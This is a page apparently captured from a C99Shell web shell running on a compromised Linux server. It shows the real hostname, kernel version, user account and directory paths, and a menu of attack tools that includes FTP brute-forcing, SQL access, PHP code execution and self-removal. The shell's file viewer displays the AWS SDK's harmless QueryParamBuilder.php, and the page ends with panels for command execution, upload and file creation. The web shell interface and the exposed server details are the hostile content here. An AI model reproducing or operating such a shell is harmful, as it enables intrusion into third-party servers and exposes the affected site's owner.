!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/Serializer/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     QueryParamBuilder.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\Serializer;

use 
Aws\Api\StructureShape;
use 
Aws\Api\ListShape;
use 
Aws\Api\MapShape;
use 
Aws\Api\Shape;
use 
Aws\Api\TimestampShape;

/**
 * @internal
 */
class QueryParamBuilder
{
    private 
$methods;

    protected function 
queryName(Shape $shape$default null)
    {
        if (
null !== $shape['queryName']) {
            return 
$shape['queryName'];
        }

        if (
null !== $shape['locationName']) {
            return 
$shape['locationName'];
        }

        if (
$this->isFlat($shape) && !empty($shape['member']['locationName'])) {
            return 
$shape['member']['locationName'];
        }

        return 
$default;
    }

    protected function 
isFlat(Shape $shape)
    {
        return 
$shape['flattened'] === true;
    }

    public function 
__invoke(StructureShape $shape, array $params)
    {
        if (!
$this->methods) {
            
$this->methods array_fill_keys(get_class_methods($this), true);
        }

        
$query = [];
        
$this->format_structure($shape$params''$query);

        return 
$query;
    }

    protected function 
format(Shape $shape$value$prefix, array &$query)
    {
        
$type 'format_' $shape['type'];
        if (isset(
$this->methods[$type])) {
            
$this->{$type}($shape$value$prefix$query);
        } else {
            
$query[$prefix] = (string) $value;
        }
    }

    protected function 
format_structure(
        
StructureShape $shape,
        array 
$value,
        
$prefix,
        &
$query
    
) {
        if (
$prefix) {
            
$prefix .= '.';
        }

        foreach (
$value as $k => $v) {
            if (
$shape->hasMember($k)) {
                
$member $shape->getMember($k);
                
$this->format(
                    
$member,
                    
$v,
                    
$prefix $this->queryName($member$k),
                    
$query
                
);
            }
        }
    }

    protected function 
format_list(
        
ListShape $shape,
        array 
$value,
        
$prefix,
        &
$query
    
) {
        
// Handle empty list serialization
        
if (!$value) {
            
$query[$prefix] = '';
            return;
        }

        
$items $shape->getMember();

        if (!
$this->isFlat($shape)) {
            
$locationName $shape->getMember()['locationName'] ?: 'member';
            
$prefix .= ".$locationName";
        } elseif (
$name $this->queryName($items)) {
            
$parts explode('.'$prefix);
            
$parts[count($parts) - 1] = $name;
            
$prefix implode('.'$parts);
        }

        foreach (
$value as $k => $v) {
            
$this->format($items$v$prefix '.' . ($k 1), $query);
        }
    }

    protected function 
format_map(
        
MapShape $shape,
        array 
$value,
        
$prefix,
        array &
$query
    
) {
        
$vals $shape->getValue();
        
$keys $shape->getKey();

        if (!
$this->isFlat($shape)) {
            
$prefix .= '.entry';
        }

        
$i 0;
        
$keyName '%s.%d.' $this->queryName($keys'key');
        
$valueName '%s.%s.' $this->queryName($vals'value');

        foreach (
$value as $k => $v) {
            
$i++;
            
$this->format($keys$ksprintf($keyName$prefix$i), $query);
            
$this->format($vals$vsprintf($valueName$prefix$i), $query);
        }
    }

    protected function 
format_blob(Shape $shape$value$prefix, array &$query)
    {
        
$query[$prefix] = base64_encode($value);
    }

    protected function 
format_timestamp(
        
TimestampShape $shape,
        
$value,
        
$prefix,
        array &
$query
    
) {
        
$timestampFormat = !empty($shape['timestampFormat'])
            ? 
$shape['timestampFormat']
            : 
'iso8601';
        
$query[$prefix] = TimestampShape::format($value$timestampFormat);
    }

    protected function 
format_boolean(Shape $shape$value$prefix, array &$query)
    {
        
$query[$prefix] = ($value) ? 'true' 'false';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.003 ]--